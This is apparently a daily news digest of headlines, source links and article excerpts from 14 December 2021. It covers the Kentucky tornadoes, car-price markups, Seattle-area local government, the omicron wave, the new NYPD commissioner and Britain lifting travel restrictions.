Soon after he arrived, Mr. Workman heard that the candle factory where seven of his inmates were working the night shift had been obliterated. He wouldn’t get word until the next morning that the inmates all survived, but their supervisor, Deputy Robert Daniel, was killed by collapsing debris while trying to push the last of his charges to safety behind a thick wall. All told, eight people died at the factory.

Mr. Workman said it hadn’t crossed his mind to keep the inmates at the jail that night. He had been working for years to get an employment program going, providing employees to a local company that

needed them and a source of income for the inmates so they could pay fines and save up for after their release. Their first day had been Dec. 7, three days before.

“You never want to put your people in harm’s way,” he said, choking back tears. “Unfortunately, in this situation, it’s something we did, and you live with that guilt. We couldn’t have expected this.”

He said he remembered sitting in the yard as a child and watching tornadoes go down the fence line in the middle distance. “This one here was a different animal,” he said. “The force of it, and the fact that it never really seemed to leave the ground, and it was so massive....It was just ungodly.”

The tornado arrived in Dawson Springs, Kentucky, about 75 miles to the northeast, about an hour later. Judy Roehr, 81, was watching TV when she saw news that a tornado might be headed toward that western Kentucky town of about 2,500 people. She wasn’t too worried. She had lived in her ranch-style house for nearly 50 years and had never had a tornado strike near her.

Basement retreat

Her husband was gone that night. As she had done during prior storm warnings, she grabbed her purse and flashlight and went into the basement. She figured she would wait a bit and then go back upstairs.

A sudden force catapulted her forward. She landed facedown on the basement floor and felt rain coming down. The foundation of her house had shifted, leaving the basement open to the elements.

As she lifted herself up, she saw neighbors with flashlights coming to help. Nearby homes, she said, were “just flattened, like sticks.” At her own house, the roof was gone, windows and doors were torn off and there were holes in the walls.

Soaking wet and cold, she climbed into her 2005 Chevy Impala. Her phone was gone, so she had no way to reach anyone. “I had a full tank of gas, so I spent the night in my car just running the heat off and on,” she said.

She didn’t sleep at all. All she could think about was her daughter, Tracy Overby, who lives just behind her and had been out that night.

Ms. Overby, 54, was about a mile-and-a-half away at her fiancé’s mobile home. “We were just holding tight to each other and praying,” Ms. Overby said. A big branch fell across the porch and trees were uprooted. They didn’t realize the extent of damage across town.

Early Saturday, Ms. Overby connected with her mother via another relative’s phone. Ms. Overby drove home that morning and was stunned to see dirt lots and concrete porches where full suburban homes used to be.

Three neighbors had died, including her friend Jenny Bruce. Ms. Bruce, a widow, had decided to ride out the storm in her home with her dog, a Shi Tzu, according to her friend and pastor Kathy Redden. A neighbor found Ms. Bruce lying in the backyard, and the dog was found roaming one street over.

Ms. Overby pulled up to her own house, which was missing a garage and several walls, to see her own dog, Piper, barking on the front porch.

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HEADLINE	12/14 Car deals hard to find this holiday season
SOURCE	https://www.wsj.com/articles/why-a-car-deal-will-be-hard-to-find-this-holiday-season-11639477803?mod=hp_lista_pos1
GIST	With dealership lots stripped of inventory, car buyers hunting for a bargain will be lucky if they end up paying the sticker price.

The cost of a new vehicle continues to soar with the global auto industry now a year into [a computer-chip shortage](#) that has shown few signs of abating in 2022.

In November, nearly 87% of all new vehicles bought by individual customers sold at [or above the sticker price](#), according to research firm J.D. Power. That number is up from about 75% at the halfway point of the year, and well above the pre-pandemic average of about 36% of sales.

The availability of both new and used vehicles is [at historic lows](#), and car companies and dealers are responding by eliminating discounts and adding upcharges to the manufacturer's suggested retail price, which is the figure displayed on the window sticker when a vehicle leaves the factory. Upcharges include selling items such as tire protection and vehicle accessories.

In addition, dealer markups—which appear as a “market adjustment” affixed next to the window sticker—are also proliferating more broadly. These dealer-price adjustments are separate from upcharges and traditionally have been reserved for rarer models. Now such adjustments appear on everything from no-frills vehicles to new, special-edition SUVs such as the Ford Bronco, dealers and analysts say.

“It’s the basic economics of supply and demand,” said Vince Sheehy, president of Sheehy Auto Stores in the greater Washington, D.C. area. “As long as we have customers waiting for the next car to show up on the lot, there’s no way we can price lower.”

Behind the markups is a historic shortage of new vehicles caused [by production lost](#) to Covid-19-related shutdowns and [a global computer-chip shortage](#) that has slammed the auto industry this year. At the same time, car buyers have flocked to the showroom in the past year, seeking vehicles for commuting, instead of taking public transportation.

Paul Walser, a Minnesota dealer and chairman of the National Automobile Dealers Association, isn’t charging above sticker for his new cars but says he understands why some smaller dealerships may have to raise their prices. He pointed to dealers he has visited lately who have seen monthly transactions plummet and are looking for ways to cover their business expenses.

“The market is not only changed by the fact that there’s limited supply and high demand,” Mr. Walser said. “Dealers are also sensitive to their costs and making sure that they’re providing for their employees.”

Mr. Sheehy is using markups as a way to filter out one-time customers, he said. When he listed vehicles at or below sticker earlier this year, he said customers drove from hundreds of miles away to buy from him. He said those customers are less likely to come back for service or to purchase another vehicle.

“We really don’t want to sell cars to people who are not going to be our customers in the long-term,” he said. For his most loyal customers, Mr. Sheehy says he is offering to wave the price increases and sell at sticker.

The steady rise in car prices is contributing to an increase in the average price paid for a vehicle, which has hovered around \$44,000 for the past two months, according to J.D. Power. That figure is about a \$10,000 increase from the average price paid for a new vehicle before the pandemic, the research firm found.

Car shoppers [won’t find much relief on the used-car lot](#), according to dealers and analysts. Prices on preowned cars have been steadily rising in the past year, with some used cars selling at or above their original sticker price. Through the first half of December, the average price paid for a used vehicle surpassed \$30,000 for the first time, according to J.D. Power.

[This rapid price inflation](#) is also pricing many Americans out of the car market, furthering a trend that has emerged during the pandemic where production of more expensive vehicles is prioritized over cheaper models, according to dealers and analysts.

Some dealers are less willing to charge above sticker. Chris Hemmersmeier, chief executive of Jerry Seiner Dealerships in the Salt Lake City area, is refusing to raise his prices, even as he faces pressure to do so from his sales staff and managers, who say they could be making more money.

Mr. Hemmersmeier, who the second generation to run the family-owned dealership group, said he is worried about the long-term effects of price increases.

“I want this to continue to be a multigenerational family business,” he said. “We can only do that if the community continues to choose to do business with us in good times and bad times.”

The squeeze the parts crisis [is putting on vehicle inventories](#) is expected to last until well into 2022, industry executives and analysts say.

There were a little more than a million new vehicles on U.S. dealer lots or in transit at the end of November, down 63% from the same month in 2020, according to research firm Wards Intelligence.

With supply tight, cars are moving off dealer lots at a blistering pace. More than half of the vehicles sold in the U.S. last month were in the showroom for less than 10 days, according to J.D. Power. The average amount of time a new vehicle sits on dealer lots is hovering around 19 days, J.D. Power found, compared with 48 days at this time last year.

Auto executives are trying to find workarounds to the semiconductor shortage, including dropping some features to save on the number of chips needed to manufacture a vehicle. Some car companies, such as [Ford Motor](#) Co. and [General Motors](#) Co. , [are taking control of their chip supply](#) by forging partnerships with some of the biggest names in semiconductors.

Even after production normalizes and the automotive industry moves past the chip shortage, J.D. Power automotive analyst Tyson Jominy said the pent-up demand will continue to put pressure on vehicle inventories.

“We expect to see this tightness on inventory lasting clear through 2023,” he said.

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HEADLINE	12/14 King Co. council approves land swap deal
SOURCE	https://mynorthwest.com/3282684/king-county-council-land-swap-city-hall-park/
GIST	<p>The King County Council approved legislation Tuesday to turn Seattle’s City Hall Park over to the county, in exchange for several county-owned properties within the city.</p> <p>The legislation passed by a vote of 7-2. Councilmembers Girmay Zahilay and Joe McDermott voted against the measure.</p> <p>Under the agreement, the county would take control of the roughly half-acre park next to the King County Courthouse, and the city would get 13 parcels of land in exchange, most of them bordering existing city parks and totaling 1.35 acres.</p> <p>The Seattle City Council must approve the swap before the transfer is finalized. A vote is expected in January.</p> <p>Councilmember Jeanne Kohl-Welles was a co-sponsor of the legislation that passed Tuesday.</p> <p>“This action begins a new day of stewardship for this long-neglected space and I hope nearby residents, businesses, visitors, courthouse users and workers will join us in reimagining this vital area,” Kohl-Welles wrote in a statement. “By working together, we will ensure this space is inclusive, recreational and safe, and we can make certain the community knows that any movement toward making this space anything but</p>

	<p>open will be subject to robust public engagement. I appreciate the collaboration of Executive Constantine and Mayor Durkan in making this change a reality.”</p> <p>Councilmember Reagan Dunn previously raised concerns about the violence and crime in City Hall Park, and pushed to condemn the park as a hazard to public health, safety, and welfare. That effort did not pass at the county council, but legislation to seek options to acquire the park and explore future plans and uses of the park did pass on Oct. 19.</p> <p>Dunn also co-sponsored the legislation that passed Tuesday with Kohl-Welles and Pete von Reichbauer.</p> <p>“Today’s acquisition of City Hall Park is a major victory that allows King County to reclaim the park for taxpayers while working to create a safe environment around the King County Courthouse for our employees, jurors, and all who need to access government services,” Dunn said in a written statement.</p> <p>“For too long, encampments have been allowed to multiply and expand across King County without intervention — but with this acquisition, King County shows that we can take back our public spaces for everyone to enjoy.”</p>
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HEADLINE	12/14 WSP: Pierce, Thurston icy road collisions
SOURCE	https://mynorthwest.com/3282377/icy-roads-nearly-100-collisions-tuesday-pierce-thurston-counties/
GIST	<p>Washington state troopers in Pierce and Thurston counties responded to nearly 100 collisions on Tuesday morning.</p> <p>Icy, wet roads made things difficult for drivers for most of the morning commute across the region — particularly between Lacey and Tacoma — with multiple incidents on I-5, SR 510, and SR 16, according to the Washington State Department of Transportation. That was also despite roads being pre-treated by WSDOT crews overnight.</p> <p>In total, Washington State Patrol says that there were 95 collisions between the two counties on Tuesday morning alone. Sixty-three were in Pierce County, while 32 were in Thurston County. That had travel times slow to a crawl, taking drivers over an hour to go from Olympia to Tacoma, a journey that generally takes about half that time without traffic or stoppages.</p> <p>In terms of what people can do to better prepare for winter driving conditions, WSDOT advises that anyone headed over the mountain passes ensure they have the right tires with good tread depth. Drivers in wet, icy conditions should always allow for plenty of following space between vehicles, while reducing speed when conditions begin to deteriorate.</p>
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HEADLINE	12/14 Seattle end date grocery store hazard pay
SOURCE	https://mynorthwest.com/3282077/seattle-council-end-date-grocery-store-hazard-pay/
GIST	<p>Seattle City Council passed a bill on Monday seeking to establish an end date for a grocery store hazard pay ordinance.</p> <p>The original ordinance establishing an additional \$4 an hour for the city’s grocery store workers was passed in February 2021, designed to provide added compensation for those working on the front lines of the COVID-19 pandemic.</p> <p>Similar measures were also passed in a handful of other cities and counties across Western Washington around that same time.</p> <p>Given that the ordinance was always meant to be temporary, Seattle councilmembers have weighed a potential end date on multiple occasions in recent months, each time opting to delay the process due to</p>

uncertainty over rises and falls in COVID-19 cases and hospitalizations. Originally, the plan was to have it last for the duration of the state of emergency related to the pandemic.

With the measure passed by the council on Monday, the hazard pay ordinance will instead come to an end one month after the bill's effective date, which will be dependent on when it's officially signed into law. If it's signed next month by incoming Mayor Bruce Harrell, that would end the city's grocery store hazard pay sometime in February 2022.

The bill's sponsor, Councilmember Teresa Mosqueda, took the opportunity during Monday's session to frame the hazard pay as a decisive labor action on behalf of low-wage Seattle workers that "has sparked a conversation between [frontline workers and their employers] around longer term wins and policy improvements. These will yield a longer lasting and higher level of investment in worker safety and respect."

Mosqueda continued with a promise that the council would consider subsequent action on hazard pay were the pandemic to increase in severity such that frontline workers were to expose themselves to greater risk.

"We will consider hazard pay again for grocery store workers and other workers if needed on any new public health data that continues to make itself available," Mosqueda said.

The [bill](#) reached a unanimous 8-0 vote, with Councilmembers Mosqueda and Alex Pedersen both affirming the temporary nature of the hazard pay and their obligation to end the requirement as such.

The Northwest Grocery Association, which filed suit to challenge the requirement in March of this year (the lawsuit was subsequently [struck down](#) in federal court), voiced its support of the council's decision to end the requirement.

"By January, Seattle grocery stores will have paid over 274 days of hazard pay," wrote Amanda Dalton, President of the Northwest Grocery Association, in a news release. "As the only business targeted by the Council to pay this enhanced wage, we are appreciative that the Seattle City Council has acknowledged that a repeal makes sense today. Snohomish County, Federal Way and Bainbridge Island have also chosen to repeal their mandate and all municipalities in California, where this concept began, have long since ended. Most California ordinances lasted 120 days. It is our hope that King County will follow the actions of the Seattle Council tomorrow during their scheduled vote."

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HEADLINE	12/14 CDC warns: omicron spreading rapidly
SOURCE	https://www.washingtonpost.com/health/2021/12/14/omicron-us-spread/
GIST	<p>Top federal health officials warned in a briefing Tuesday morning that the omicron variant is rapidly spreading in the United States and could peak in a massive wave of infections as soon as January, according to new modeling analyzed by the Centers for Disease Control and Prevention.</p> <p>The prevalence of omicron jumped sevenfold in a single week, according to the CDC, and at such a pace, the highly mutated variant of the coronavirus could ratchet up pressure on a health system already strained in many places as the delta variant continues its own surge.</p> <p>The warning of an imminent surge came even as federal officials and some pharmaceutical executives signaled that they don't currently favor creating an omicron-specific vaccine. Based on the data so far, they say that existing vaccines plus a booster shot are an effective weapon against omicron.</p> <p>The CDC briefing Tuesday detailed two scenarios for how the omicron variant may spread through the country. The worst-case scenario has spooked top health officials, who fear that a fresh wave, layered on top of delta and influenza cases in what one described as "a triple whammy," could overwhelm health systems and devastate communities, particularly those with low vaccination rates.</p>

“I’m a lot more alarmed. I’m worried,” said Marcus Plescia, chief medical officer for the Association of State and Territorial Health Officials, who participated in the call. The CDC, normally cautious in its messaging, told the public health officials that “we got to get people ready for this,” he said.

He noted that the omicron surge, if it materializes as forecast, would be taking place as delta continues its onslaught and during the time of year when influenza cases often peak.

Officials stress that [early data](#) shows that individuals who are fully vaccinated and received a booster shot remain largely protected against severe illness and death from omicron. But they worry about how few Americans have been boosted to date. [Over 55 million people](#) in the United States have gotten the additional shots, out of 200 million who are fully vaccinated, according to the CDC.

The newest modeling scenarios have been shared among senior administration officials as they discuss politically fraught decisions about how, when and whether to take new steps to suppress the virus and keep hospitals from being overwhelmed.

The second scenario outlines a smaller omicron surge in the spring. It’s unclear which scenario is more likely. The modeling was done by experts tapped by CDC Director Rochelle Walensky in August to deliver real-time outbreak forecasting and analytics. The experts work with other teams inside and outside the government.

“They’re considering the information at the highest levels right now, and thinking through how to get the public to understand what the scenarios mean,” said one federal health official familiar with the briefing. “It looks daunting.”

“The implications of a big wave in January that could swamp hospitals ... we need to take that potential seriously,” said the official, who spoke on the condition of anonymity because they were not authorized to discuss policy deliberations.

Late Tuesday, after this story was published online, the CDC released a statement saying the morning discussion was part of a regularly scheduled meeting, hosted by the agency, with leaders of four public health organizations. “As we are preparing for a range of scenarios with the Omicron variant, a portion of the meeting was dedicated to discussion around results from various modeling groups related to Omicron—no CDC, HHS or U.S. Government models were presented,” the statement said.

The CDC’s analysis is consistent with that of several academic groups in the United States and with data from the United Kingdom, Denmark and Norway. New restrictions have already been imposed in the [United Kingdom](#) and other countries in Europe that were seeded with omicron earlier.

The Biden administration’s strategy relies heavily on vaccination and testing. When President Biden announced his [“action plan” on Dec. 2](#) for fighting the virus this winter, he noted “it doesn’t include shutdowns or lockdowns but widespread vaccinations and boosters and testing and a lot more.”

A reformulated vaccine that’s omicron-specific is not currently planned as part of that toolbox, said senior administration health officials and experts at vaccine companies, adding there is no evidence a vaccine design switch is necessary.

They cited data that suggests the original vaccines, coupled with a booster shot, provide protection against severe illness caused by omicron. So far, they noted, the vaccines have successfully countered every variant. That view could change in the next two weeks as more data comes in involving laboratory tests and the spread of omicron.

Switching the vaccines has sweeping implications. If they are changed too early, that limits the ability to deal with another variant down the road — one that might be more dangerous than omicron.

“We have to be careful not to repeat mistakes of the past,” said one administration official who spoke on the condition of anonymity because he was not authorized to talk about the issue. “If there is a change needed, we want to make it, but we don’t want to end up making a change if we don’t really need it. It costs time, money and effort.”

Experts say it’s impossible to keep changing the vaccines or giving different boosters because there is not enough manufacturing capacity and other resources.

Anthony S. Fauci, Biden’s chief medical adviser on the coronavirus response, said in an interview Monday that “there isn’t any compelling reason right now to drop everything and make an omicron-specific vaccine, as opposed to continue to administer vaccine for people who are unvaccinated and boosting people who are vaccinated.”

Speaking Tuesday in an interview on NBC’s “Today” show, Walensky, the CDC director, said that while omicron “is more transmissible ... I want to emphasize that we have the tools now” to keep Americans safe.

The signs of omicron’s transmissibility in this country are mounting: From Dec. 4 to Dec. 11, the variant likely jumped from a mere 0.4 percent of new infections in the U.S. to [2.9 percent](#), according to the new CDC data. In New York and New Jersey, omicron already accounts for 13 percent of new cases, Walensky said.

In the Houston Methodist hospital system, omicron accounted for 13 percent of new cases in a four-day period leading up to Dec. 8, according to James Musser, chair of pathology and genomic medicine. He expects that percentage to approach 20 percent when new numbers are published Wednesday. The omicron variant was first detected in Houston on Nov. 29.

Musser said his hospital system is ready for whatever comes next: “We’ve had 21 months of this now, and we’re sort of — I hate to say it, because it’s tragic — but we’re sort of skilled in the art of how to handle this.”

Though the delta variant remains dominant in the United States and is the driver of the [recent surge in hospitalizations](#), particularly in the Upper Midwest and Mountain West, omicron continues to show signs that it is dramatically more transmissible. Importantly, it has dozens of mutations that make it a [more slippery foe](#) when encountered by neutralizing antibodies, the immune system’s first line of defense.

That was reinforced Tuesday with the release of [a large study](#) from researchers in South Africa, the country that first warned the world of the emergence of the new variant in late November. The new study confirms that vaccines are significantly less effective at preventing infections with omicron but still usually prevent severe disease. The study also found that the people infected with omicron so far have had a 29 percent lower chance of being hospitalized than those infected with the virus that was circulating in South Africa in March 2020.

Infectious-disease experts caution that what happens in South Africa, which has a relatively young population, may not be repeated in Northern Hemisphere countries with older populations.

The CDC modelers also based their forecasts in part on data coming out of Denmark, Norway and the United Kingdom, said Plescia, with Association of State and Territorial Health Officials. Looking at the Norway data, the modelers said cases there could reach 300,000 quickly, “and there’s not that many people in Norway,” he added.

Scott Becker, chief executive of the Association of Public Health Laboratories, who was also on the call Tuesday, said it was “really important for the public health community to understand the early signals because it’s all about preparedness and readiness.”

	<p>Public health officials think there is adequate supply of personal protective equipment in the United States to protect against another wave. But the country is not ready with sufficient testing capability. States will need to work with their hospital systems to get them ready to expand capacity, Plescia and others said.</p> <p>“The hope is that it is going to be less severe, but the concern is that the numbers could be so great, even if proportionally less people have to be hospitalized, the numbers are much higher and a lot of people are going to be really sick and overwhelm things,” Plescia said.</p> <p>The messaging to the public will be even more difficult. Two things that would help enormously — less travel during Christmas and more consistent wearing of masks — are not likely to happen, because people are so tired of the pandemic and have tuned out many public health messages, he added.</p> <p>Fauci said Friday that modeling data could portend a lifting of travel bans against countries in southern Africa, where omicron was first detected three weeks ago, should the analysis show the bans make no difference at this point.</p>
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HEADLINE	12/14 First woman to lead NYPD
SOURCE	https://www.nytimes.com/2021/12/14/nyregion/keechant-sewell-nypd-commissioner.html
GIST	<p>Keechant Sewell, the Nassau County chief of detectives, will become New York City’s first female police commissioner, taking over the nation’s largest police force at a critical moment.</p> <p>Chief Sewell’s appointment, which is expected to be announced on Wednesday, was seen as one of the most important decisions for Eric Adams, the incoming mayor, as he begins to fill out his administration.</p> <p>Her selection was confirmed on Tuesday night by Evan Thies, a spokesman for Mr. Adams. Chief Sewell, 49, was chosen from among a field of rumored candidates from within the New York Police Department and from larger police departments around the country.</p> <p>Mr. Adams, a former police captain, ran as a centrist in the Democratic primary, promising to address a troubling rise in violence and to rein in police abuse. He will be counting on Chief Sewell to help him strike that balance.</p> <p>Mr. Adams said in a statement that Chief Sewell was “a proven crime fighter with the experience and emotional intelligence to deliver both the safety New Yorkers need and the justice they deserve.”</p> <p>Chief Sewell comes from a department that has about 2,400 uniformed officers — less than a tenth of the size of the roughly 35,000 officers employed by the New York Police Department.</p> <p>A person close to Mr. Adams said he had been impressed by Chief Sewell’s confidence and competence, and her experience working undercover. Her interview process was rigorous and included a mock news conference about the shooting of an unarmed Black man by a white police officer, the person said.</p> <p>In 23 years with the Nassau Police Department, Chief Sewell, who grew up in Queens, worked in the narcotics and major cases units, and as a hostage negotiator. She was promoted to chief of detectives in September 2020.</p> <p>Chief Sewell has been viewed as a rising star in policing circles, said Chuck Wexler, the executive director of the Police Executive Research Forum, which advises departments on best practices.</p> <p>“This is a case of someone identifying her early on in her career and moving her up,” he said. “This is someone who has experienced every part of the department from patrol to internal affairs.”</p>

Mr. Adams will announce her appointment at Queensbridge Houses in Long Island City in Queens, where Chief Sewell lived as a child. The appointment was first reported by The New York Post on Tuesday evening.

“I grew up in Queens,” Chief Sewell said in a video interview with The Post. “This is my city, and now this being my department, I feel like I’ve come full circle.”

Mr. Adams has said he is considering Philip Banks as deputy mayor for public safety, and Mr. Banks helped oversee the hiring process for police commissioner, according to two people familiar with the matter. Mr. Banks, a former chief of department, retired in 2014 amid a corruption scandal. He was never charged with a crime.

In January, Chief Sewell will take over the New York Police Department at what could be the most consequential moment in two decades. A national crisis of trust in American policing has emboldened efforts to reduce the department’s footprint, even as murder and shooting rates remain higher than they were before the pandemic. The relationship between the department and the city’s police unions is strained, and there have been growing calls for more transparency over policing tactics and disciplinary procedures.

Mr. Adams, who will become the city’s second Black mayor, has criticized the left-wing movement to defund the police and has pledged to remove guns from the streets; he has also insisted that the city will be more proactive in removing abusive officers from the department.

Chief Sewell will also be the third Black commissioner to lead the city’s Police Department — a notable change for a police force whose upper echelons have remained overwhelmingly white and male.

Joyce A. Smith, the acting district attorney in Nassau County, said she was elated to hear that Chief Sewell had been selected to lead the Police Department at a time when the city was dealing with the pandemic, criminal justice reform and social justice demands.

Ms. Smith said that she met Chief Sewell last year and was immediately impressed by her ability to hold her own in the kind of space that can be intimidating, and where Black women are rare.

“She showed herself not only aware of the issues, but she knows how to fix problems, and that is a rare gift,” Ms. Smith said. “It’s one thing for us to spot the problem, but to know how to fix it quickly, I truly treasured that. We needed that in this time more than ever.”

Mr. Adams has promised major changes for the Police Department: bringing back plainclothes police units that were disbanded last year; diversifying a department where Black officers are underrepresented; and speeding up the disciplinary process for officers accused of wrongdoing.

For months, Mr. Adams had said that he would name the department’s first female leader in its 176-year history and considered several candidates, including Carmen Best, the former Seattle police chief; and Juanita Holmes, the current chief of patrol in New York. Mayor Bill de Blasio, a Democrat in his second term, had selected three Irish American veterans of the department for the top job.

The Legal Aid Society, a group that represents poor New Yorkers and has pressed for police accountability, said in a statement that it hoped Chief Sewell would bring a “new approach” to the department because policing in the city “remains fraught as ever.”

The next commissioner should “demonstrate an understanding that many community problems do not warrant a law enforcement response” and that “police misconduct must be taken seriously and addressed swiftly,” the group said.

Laura Curran, the Nassau County executive, said in an interview on Tuesday that Chief Sewell was a “wonderful choice” to lead the New York Police Department.

“I’m really happy for her and really happy for the city,” Ms. Curran said, adding that Chief Sewell had “all of the skills and the temperament to do the job and do it well.”

In response to concerns over aggressive tactics by the plainclothes units, known as anti-crime teams, Mr. Adams has said that he would handle the units differently. The elite units were disbanded amid the George Floyd protests as the police commissioner sought to avoid a fatal shooting, but officials did not have a backup plan as gun violence surged.

“It’s not anti-crime, but an anti-gun unit,” Mr. Adams said in a recent interview. “It’s having well-trained officers who are going to use their body cameras so that we can see their interactions. They’re going to specifically zero in on gang and gun violence.”

While Mr. de Blasio often had a fraught relationship with the police, and officers memorably turned their backs on him at an officer’s funeral, Mr. Adams was one of three candidates that the city’s major police union endorsed during the Democratic primary.

Ms. Sewell will likely have to steer the department through what could be one of its most significant restructurings since Sept. 11. Mr. Adams has criticized the defund movement, and instead, has said he would trim the police budget by cutting overtime, and redirecting more mundane functions to a civilian work force.

On Tuesday night, Patrick J. Lynch, the president of the major police union, said officers looked forward to working with her.

“We welcome Chief Sewell to the second-toughest policing job in America,” he said in a statement. “The toughest, of course, is being an NYPD cop on the street.”

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HEADLINE	12/14 Forecast: tornado to hit 9:30; it hit at 9:30
SOURCE	https://www.nytimes.com/2021/12/14/us/tornado-warnings.html
GIST	<p>Morgan Jackson, a cashier at Casey’s General Store, a gas station in Mayfield, Ky., checked the weather all day Friday as her phone beeped with loud alerts, friends and family called to compare notes and customers chatted incessantly about the tornadoes that were likely to head their way.</p> <p>“We all knew the storm was going to hit,” she said. “There’s no way a single person here didn’t know the storm was coming.”</p> <p>For residents of Mayfield subjected to the flurry of alerts and text messages, the urgent pleadings of television meteorologists and the barrage of warnings on social media, one thing has been clear: This was not a tornado that came without warning.</p> <p>Ms. Jackson said she was surprised by how accurately forecasters had pegged the timing of the tornado, one of several that swept through Kentucky that night. “They said it would hit at 9:30 and it hit at 9:30,” she said.</p> <p>Weather prediction technology has become so precise in recent years that tornadoes are almost always foreseen, a vast, if somewhat unheralded, improvement in forecasting.</p> <p>In the late 1980s, before the use of Doppler radar and other technologies, meteorologists were able to issue warnings for 46 of 88 violent tornadoes in the United States, or just more than half, federal data shows. In recent years, powerful tornadoes have been preceded by warnings 97 percent of the time.</p>

Yet despite the advances in forecasting, tornadoes that strike continue to have deadly consequences — whether because of poor decisions, weak construction or just bad luck. The storms that hit on Friday and Saturday left at least 88 people dead in five states.

“People got the warning but we are still left with the question of why people died,” said Stephen M. Strader, a professor at Villanova University who studies disasters. “Something else failed them.”

Unlike hurricanes, tornado warnings come with a much shorter lead time: around 15 to 18 minutes on average. Friday’s tornadoes had better-than-usual warning times, in some cases three times as long.

But when tornadoes strike at night, as they did last week, residents are more likely to miss the warnings. Tornadoes at night are 2.5 times as likely to result in fatalities, [research shows](#).

The tornado that ravaged western Kentucky was a monster, [an EF-3 storm](#) with winds of 136 to 165 miles per hour. With a footprint of up to three-quarters of a mile wide, it shredded warehouses and houses along a path of more than 220 miles.

The drumbeat of warnings began days before, with reports by the national Storm Prediction Center that tornadoes were quite likely.

“It was kind of a no-brainer as far as issuing a warning goes,” said Michael York, a meteorologist at the National Weather Service in Paducah, Ky. “It was one of those that is impossible to miss if you have any training at all.”

But while many Kentucky residents sought shelter where they could find it, others elected to remain in their homes or report to work. Some said they were not sure how seriously to take the dire predictions, or did not think the storm would hit their neighborhood.

At a time when the incidence of extreme weather and natural threats — hurricanes, wildfires, floods — seems to be rising, the availability of so much data on storms and tornadoes can be overwhelming.

“There’s definitely the potential to be getting too much information,” said Alex Anderson-Frey, a professor at the University of Washington who studies the efficiency of tornado warnings.

In Mayfield, Katrina Spradling became deeply worried about the likelihood of tornadoes as she watched the weather forecast all day on Friday; her phone buzzed with alerts and messages on the severity of the storms. She urged her father, Bobby Spradling Jr., whose home on the outskirts of Mayfield did not have a secure place to shelter, to come take cover at her home about 10 minutes away. But Mr. Spradling stayed home.

He was found dead on Saturday morning. The authorities told his family that based on where they found his body, they believed he had tried to leave his home and get to shelter when it was too late.

“I’m shaken and have never seen anything like this,” Ms. Spradling said of the damage to Mayfield. “We talked off and on about creating a shelter, but we never did. I wish we had.”

Even some of those who may have taken the warnings seriously ended up being killed in Friday’s tornadoes for a variety of reasons: because their homes were not strong enough to resist the tremendous force of the wind, because their employers kept them in an unsafe building, because they made poor decisions such as going outside.

Research by Harold Brooks, a senior research scientist at the National Oceanic and Atmospheric Administration’s National Severe Storms Laboratory, shows that about 2 percent of people whose homes are directly struck by a powerful tornado are killed, roughly the same odds of dying after being infected with the coronavirus.

Mr. Brooks, who lives in Oklahoma, has an 8-foot by 5-foot tornado shelter in his house that doubles as a walk-in closet. It has six-inch-thick reinforced concrete walls and a steel door. “That thing is not going anywhere, in any wind on the planet,” he said.

But not everyone has the foresight, the time or the funds to build such a shelter.

Greg Simons described his mother’s home in Dawson Springs, Ky., as small and comfortable but not the safest place to ride out a tornado. If he had spoken with her before the storm, he would have forced her to leave the house, he said. His stepsister, Brandy Wiser, said she talked with their mother, Jennifer Ann Bruce, five minutes before the storm hit.

“I asked if she was OK and she said she was in the hall, safe,” Ms. Wiser said. “I said just be safe and call me when it’s over. Five minutes later, I tried to call her back and it went straight to voice mail. I kept calling.”

Ms. Bruce’s body was found by a neighbor on Saturday morning.

Experts say the United States has reached a point where the technology to predict tornadoes is no longer the main obstacle to saving lives.

The huge strides in tornado prediction rates have been made possible by a cascade of scientific advances. The introduction of Doppler radar in the 1990s and subsequent upgrades allowed forecasters to measure the wind inside of a storm, to distinguish between rain, snow or hail and to see and predict the formation of tornadoes. The proliferation of weather satellites allows scientists even more visibility into the formation of storms — and, crucially, the conditions that might create a tornado. The National Oceanic and Atmospheric Administration operates 16 satellites.

The deluge of data from these technologies is crunched and modeled in real time by some of the world’s most powerful supercomputers.

“In many ways the tornado warning system — and everything that leads up to it — is one of the most incredible success stories in applied science,” Mr. Brooks said. “We don’t miss violent tornadoes essentially ever now.”

Before Doppler was deployed to predict tornadoes, the best the authorities could do was rely on a more primitive form of radar and a small army of weather spotters communicating by ham radio.

The consequences of the leaps in technology have been clear, researchers say.

“Tornado fatality rates have dropped off the map,” Mr. Strader, the Villanova professor, said.

Research by Mr. Strader shows that the number of people killed by tornadoes in the United States decreased steadily from 1920, when there were 2.3 fatalities per one million people, to 1990, when there were .25 fatalities per million. Experts say lives were saved not only by the technology that helps predict tornadoes but by better education and building codes.

In the wake of last week’s tornadoes, a number of scientists have made comparisons to a similar event nearly a century ago to illustrate how awareness of a coming danger saves lives.

In 1925, when the best the authorities could do was send warnings by telegraph, a tornado traveled across parts of Missouri, Illinois and Indiana for about 220 miles — similar to the distance traveled by the biggest of the tornadoes that struck on Friday.

The 1925 tornado killed nearly 700 people, about 10 times the death toll of Friday’s worst disaster.

HEADLINE	12/14 Britain lifts travel restrictions Africa nations
SOURCE	https://www.nytimes.com/2021/12/14/world/europe/uk-south-africa-travel-ban.html
GIST	<p>With new coronavirus cases surging at home, the British government on Tuesday lifted its special restrictions on travelers arriving from 11 African countries, ending measures it had adopted hoping to curb the spread of the Omicron variant.</p> <p>Nations including South Africa, Zimbabwe and Namibia were put on a “red list” in November, requiring anyone arriving in Britain from those countries to quarantine at their own expense in government-approved hotels for 10 days.</p> <p>Other countries quickly placed their own restrictions on travel from southern Africa, prompting complaints that South Africa was being punished for its effective work in notifying other countries about the spread of the variant. Antonio Guterres, the secretary-general of the United Nations, described the restrictions as a form of “travel apartheid.”</p> <p>Now, though, with Omicron already spreading widely in Britain, the government concluded that it had lost the battle to prevent its importation from abroad.</p> <p>On Tuesday, the health secretary, Sajid Javid, announced the end of the “red list” restrictions for England that applied to Angola, Botswana, Eswatini, Lesotho, Malawi, Mozambique, Namibia, Nigeria, South Africa, Zambia and Zimbabwe.</p> <p>“Given that there is community transmission of Omicron in the U.K. and that Omicron has spread so widely across the world, the travel red list is less effective in slowing the incursion of Omicron from abroad,” Mr. Javid said in Parliament.</p> <p>“While we will maintain our temporary testing measures for international travel, we will be removing all 11 countries from the travel red list, effective from 4 tomorrow morning,” he added.</p> <p>Scotland, Wales and Northern Ireland, which maintained similar red lists, followed London’s lead on Tuesday.</p> <p>World Health Organization officials thanked Britain for lifting the restrictions, which they had criticized as overly blunt and economically damaging. In South Africa, the minister of tourism, Lindiwe Sisulu, welcomed Britain’s decision, saying that the red list “was a huge deterrent for Brits who were considering traveling to South Africa 